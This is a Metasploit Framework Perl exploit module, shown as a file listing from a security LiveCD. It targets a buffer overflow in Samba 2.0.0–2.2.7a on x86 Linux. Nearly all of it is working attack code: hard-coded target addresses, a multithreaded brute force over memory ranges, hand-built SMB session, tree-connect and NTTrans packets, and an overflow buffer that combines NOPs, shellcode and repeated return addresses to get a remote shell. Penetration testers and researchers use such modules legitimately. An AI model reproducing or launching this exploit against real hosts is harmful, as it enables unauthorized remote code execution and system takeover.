home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / samba_nttrans.pm < prev    next >
Text File  |  2006-06-30  |  10KB  |  324 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::samba_nttrans;
  11. use base 'Msf::Exploit';
  12. use strict;
  13. use Pex::Text;
  14.  
  15. my $advanced =
  16.   {
  17.     'BaseAddress'  => [0, 'Specify a single base address to try'],
  18.     'StartAddress' => [0, 'Override the target start address'],
  19.     'StopAddress'  => [0, 'Override the target stop address'],
  20.     'StepSize'     => [0, 'Override the target step size'],
  21.     'DebugExploit' => [0, 'Enable development mode'],
  22.   };
  23.  
  24. my $info =
  25.   {
  26.     'Name'    => 'Samba Fragment Reassembly Overflow',
  27.     'Version' => '$Revision: 1.32 $',
  28.     'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
  29.  
  30.     'Arch'  => [ 'x86' ],
  31.     'OS'    => [ 'linux' ],
  32.     'Priv'  => 1,
  33.  
  34.     'UserOpts'  =>
  35.       {
  36.         'RHOST'   => [1, 'ADDR', 'The target address'],
  37.         'RPORT'   => [1, 'PORT', 'The samba port', 139],
  38.         'THREADS' => [0, 'DATA', 'The number of concurrent attempts', 25],
  39.       },
  40.  
  41.     'Payload' =>
  42.       {
  43.         'Space'      => 1024,
  44.         'BadChars'  => "\x00",
  45.         'Keys'      => ['+findsock'],
  46.       },
  47.  
  48.     'Description'  => Pex::Text::Freeform(qq{
  49.         This exploits the buffer overflow found in Samba versions
  50.         2.0.0 to 2.2.7a. This particular module is capable of
  51.         exploiting the bug on x86 Linux only. Flatline's sambash
  52.         code was used as a reference for this module.
  53. }),
  54.  
  55.     'Refs'  =>
  56.       [
  57.         ['OSVDB', '6323'],
  58.         ['MIL', '52'],
  59.       ],
  60.       
  61.     'Targets' =>
  62.       [
  63.         ["Samba Complete Brute Force",  0x08300000, 0x08000000, 1600, 0xbfffb8d0, 6200, 50],
  64.         ["Samba 2.0 Brute Force",       0x08150000, 0x08100000, 1600, 0xbfffb8d0, 6200, 30],
  65.         ["Samba 2.2 Brute Force",       0x08300000, 0x081c0000, 1600, 0xbfffb8d0, 6200, 30],
  66.         ["Samba 2.0.6 / Red Hat 6.2",   0x081389c0, 0x08138300, 1600, 0xbfffb8d0, 6200, 1],
  67.         ["Samba 2.0.7 / Red Hat 7.0",   0x0814bb40, 0x0814bb40, 1600, 0xbfffb8d0, 6200, 1],
  68.         ["Samba 2.2.1 / Red Hat 7.2",   0x081f95c0, 0x081f95c0, 1600, 0xbfffb8d0, 6200, 1],
  69.         ["Samba 2.2.5 / Red Hat 8.0",   0x08239e00, 0x08239e00, 1600, 0xbfffb8d0, 6200, 1],
  70.         ["Samba 2.2.4 / Slackware 8.1", 0x081e1140, 0x081e1140, 1600, 0xbfffb8d0, 6200, 1],
  71.       ],
  72.  
  73.     'Keys' => ['samba'],
  74.  
  75.     'DisclosureDate' => 'Jul 27 2003',
  76.   };
  77.  
  78. sub new {
  79.     my $class = shift;
  80.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  81.     return($self);
  82. }
  83.  
  84. sub Check {
  85.     my $self = shift;
  86.     my $target_host = $self->GetVar('RHOST');
  87.     my $target_port = $self->GetVar('RPORT');
  88.  
  89.     my $s = Msf::Socket::Tcp->new
  90.       (
  91.         'PeerAddr' => $target_host,
  92.         'PeerPort' => $target_port,
  93.         'LocalPort' => $self->GetVar('CPORT'),
  94.       );
  95.     if ($s->IsError) {
  96.         $self->PrintLine("[*] Error creating socket: " . $s->GetError);
  97.         return $self->CheckCode('Connect');
  98.     }
  99.  
  100.     my $x = Pex::SMB->new({ 'Socket' => $s });
  101.  
  102.     $x->SMBNegotiate();
  103.     if ($x->Error) {
  104.         $self->PrintLine("[*] Error negotiating protocol");
  105.         return $self->CheckCode('Generic');
  106.     }
  107.  
  108.     $x->SMBSessionSetup();
  109.     if ($x->Error) {
  110.         $self->PrintLine("[*] Error setting up session");
  111.         return $self->CheckCode('Generic');
  112.     }
  113.  
  114.     my $version = $x->PeerNativeLM();
  115.     $s->Close;
  116.  
  117.     if (! $version) {
  118.         $self->PrintLine("[*] Could not determine the remote Samba version");
  119.         return $self->CheckCode('Generic');
  120.     }
  121.  
  122.     $self->PrintDebugLine(1, 'LanMan: '.$version);
  123.     $self->PrintDebugLine(1, ' OpSys: '.$x->PeerNativeOS);
  124.  
  125.     if ($version =~ /samba\s+([01]|2\.0|2\.2\.[0-6]|2\.2\.7$)/i) {
  126.         $self->PrintLine("[*] Target seems to running vulnerable version: $version");
  127.         return $self->CheckCode('Appears');
  128.     }
  129.  
  130.     $self->PrintLine("[*] Target does not seem to be vulnerable: $version");
  131.     return $self->CheckCode('Safe');
  132. }
  133.  
  134. sub Exploit {
  135.     my $self = shift;
  136.     my $target_host = $self->GetVar('RHOST');
  137.     my $target_port = $self->GetVar('RPORT');
  138.     my $target_idx  = $self->GetVar('TARGET');
  139.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  140.  
  141.     my $target = $self->Targets->[$target_idx];
  142.  
  143.     if (! $self->InitNops(128)) {
  144.         $self->PrintLine("[*] Failed to initialize the nop module.");
  145.         return;
  146.     }
  147.  
  148.     $self->PrintLine("[*] Starting attack against target ".$target->[0]);
  149.  
  150.     # Advanced option processed
  151.     if ($self->GetVar('BaseAddress')) {
  152.         my $ret = eval($self->GetVar('BaseAddress')) + 0;
  153.         $target->[1] = $target->[2] = $ret;
  154.     }
  155.  
  156.     if ($self->GetVar('StartAddress')) {
  157.         my $ret = eval($self->GetVar('StartAddress')) + 0;
  158.         $target->[1] = $ret;
  159.         $target->[2] = ($ret > $target->[2]) ? $ret : $target->[2];
  160.     }
  161.  
  162.     if ($self->GetVar('StopAddress')) {
  163.         my $ret = eval($self->GetVar('StopAddress')) + 0;
  164.         $target->[2] = $ret;
  165.         $target->[1] = ($ret > $target->[1]) ? $target->[2] : $target->[1];
  166.     }
  167.  
  168.     if ($self->GetVar('StepSize')) {
  169.         $target->[3] = eval($self->GetVar('StepSize')) + 0;
  170.     }
  171.  
  172.     # Standard option processing
  173.     if ($self->GetVar('THREADS')) {
  174.         $target->[6] = $self->GetVar('THREADS')+0;
  175.     }
  176.  
  177.     # More than one socket can't share the same source port :(
  178.     if ($self->GetVar('CPORT') && $target->[6] > 1) {
  179.         $self->PrintLine("[*] Socket reuse payloads cannot be used with this target setting");
  180.         $self->PrintLine("[*] You can force this payload by setting the THREAD variable to 1");
  181.         return;
  182.     }
  183.  
  184.     # Using a array ref to track current target (array would kill us on memory)
  185.     my $tstate = [$target->[1], $target->[2], $target->[3]];
  186.     my $tcount = ($tstate->[0] == $tstate->[1]) ?
  187.       1 : int(($tstate->[0] - $tstate->[1]) / ($tstate->[2]));
  188.  
  189.     $target->[6] =  $tcount < $target->[6] ? $tcount : $target->[6];
  190.  
  191.     $self->PrintLine("[*] Attack will use ".$target->[6]." threads with $tcount total attempts");
  192.  
  193.     my ($loopStart, $loopCount, $loopPrint) = (time(), 0, time());
  194.     while ($tstate->[0] >= $tstate->[1] )
  195.     {
  196.         $self->PrintLine("");
  197.  
  198.         # Display a time estimate, but not too often
  199.         if ($loopCount && $tcount > 1 && time() - $loopPrint > 10) {
  200.             my $loopLeft = int(($tcount - ($loopCount * $target->[6])) / $target->[6]);
  201.             if (time() - $loopStart > 1) {
  202.                 my $loopSpeed = $loopCount / (time() - $loopStart);
  203.                 my $timeLeft  = sprintf("%.1f", int($loopLeft/$loopSpeed)/60);
  204.                 $loopPrint    = time();
  205.                 if ($timeLeft ne '0.0') {
  206.                     $self->PrintLine("[*] Brute force should complete in approximately $timeLeft minutes");
  207.                 }
  208.             }
  209.         }
  210.         $loopCount++;
  211.  
  212.         # If one of our connections fails, exit right away
  213.         $self->PrintLine("[*] Establishing ".$target->[6]." connection(s) to the target...");
  214.         my @conns = ();
  215.         for my $idx (1 .. $target->[6])
  216.         {
  217.             my $s = Msf::Socket::Tcp->new
  218.               (
  219.                 'PeerAddr' => $target_host,
  220.                 'PeerPort' => $target_port,
  221.                 'LocalPort' => $self->GetVar('CPORT'),
  222.               );
  223.             if ($s->IsError) {
  224.                 $self->PrintLine("[*] Error creating socket $idx: " . $s->GetError);
  225.                 return;
  226.             }
  227.             $conns[$idx-1] = $s;
  228.         }
  229.  
  230.         my $ReqSize = 12000;
  231.  
  232.         my $SetupSession =
  233.           "\x00\x00\x00\x2e\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x08\x00\x00".
  234.           "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  235.           "\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x20\x02\x00\x01\x00\x00".
  236.           "\x00\x00";
  237.  
  238.         my $TreeConnect =
  239.           "\x00\x00\x00\x3c\xff\x53\x4d\x42\x70\x00\x00\x00\x00\x00\x00\x00".
  240.           "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x64\x00\x00\x00".
  241.           "\x64\x00\x00\x00\x00\x00\x00\x00\x5c\x5c\x69\x70\x63\x24\x25\x6e".
  242.           "\x6f\x62\x6f\x64\x79\x00\x00\x00\x00\x00\x00\x00\x49\x50\x43\x24";
  243.  
  244.         my $TransRequest =
  245.           "\x00\x00\x00\x49\xff\x53\x4d\x42\xa0\x00\x00\x00\x00\x08\x01\x00".
  246.           "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\xb5\x25".
  247.           "\x64\x00\x01\x00\x13\x00\x00\x00".pack('V', $ReqSize)."\x00\x00\x00\x00".
  248.           "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  249.           "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00";
  250.  
  251.         $self->PrintLine("[*] --- Setting up the SMB session...");
  252.         foreach my $s (@conns) { $s->Send($SetupSession) }
  253.  
  254.         $self->PrintLine("[*] --- Establishing tree connection...");
  255.         foreach my $s (@conns) { $s->Send($TreeConnect)  }
  256.  
  257.         $self->PrintLine("[*] --- Sending first nttrans component...");
  258.         foreach my $s (@conns) { $s->Send($TransRequest) }
  259.  
  260.         my $tgtStart = $tstate->[0];
  261.         foreach my $s (@conns)
  262.         {
  263.             last if $tstate->[0] < $tstate->[1];
  264.  
  265.             # This logic was based off sambash's code
  266.             my $BaseAddr  = $tstate->[0];
  267.             my $StackAddr = $target->[4];
  268.             my $TargAddr  = $StackAddr - $BaseAddr;
  269.             my $RetAddr   = $StackAddr + $target->[5];
  270.  
  271.             # TargAddr is the integer that is added to the memcpy desintation
  272.             # pointer that causes it to point to the top of the stack. Since
  273.             # we are brute forcing this number, the buffer sizes below are
  274.             # set to optimize reliability without slowing us down too much.
  275.  
  276.             my $pattern = Pex::Text::PatternCreate($ReqSize);
  277.  
  278.             substr($pattern, 0, 1024, $self->MakeNops(1024));
  279.             substr($pattern, 1024, length($shellcode), $shellcode);
  280.             substr($pattern, 2048, $ReqSize-2048, pack('V', $RetAddr) x (($ReqSize - 2048)  / 4));
  281.  
  282.             my $Overflow =
  283.               "\x00\x00\x30\x43\xff\x53\x4d\x42\xa1\x00\x00\x00\x00\x08\x01\x00".
  284.               "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\xb5\x25".
  285.               "\x64\x00\x01\x00\x00\x00\x00\x00".
  286.               pack('V', $ReqSize).
  287.               "\x00\x00\x00\x00".
  288.               pack('V', $ReqSize).
  289.               "\x44\x00\x00\x00".
  290.               pack('V', $TargAddr).
  291.               "\x00\x00\x00\x00".
  292.               "\x00\x00\x00\x00".
  293.               "\x00\x00\x00\x00".
  294.               $pattern;
  295.  
  296.             if ($self->GetVar('DebugExploit')) {
  297.                 print STDERR "[*] Press enter to send overflow string...\n";
  298.                 <STDIN>;
  299.             }
  300.  
  301.             # Need to pad this out for the exploit to trigger...
  302.             $Overflow .= "\x00" x (12359 - length($Overflow));
  303.             $s->Send($Overflow);
  304.  
  305.             # Iterate to the next target in the list
  306.             $tstate->[0] = $tstate->[0] - $tstate->[2];
  307.         }
  308.  
  309.         $self->PrintLine(sprintf("[*] --- Completed range 0x%.8x:0x%.8x", $tgtStart, $tstate->[0]));
  310.  
  311.         foreach my $s (@conns) {
  312.             if ($s->Socket->connected) {
  313.                 $self->Handler($s);
  314.                 $s->Close();
  315.             }
  316.             undef($s);
  317.         }
  318.  
  319.         return if $self->GetVar('DebugExploit');
  320.     }
  321.     return;
  322. }
  323.  
  324.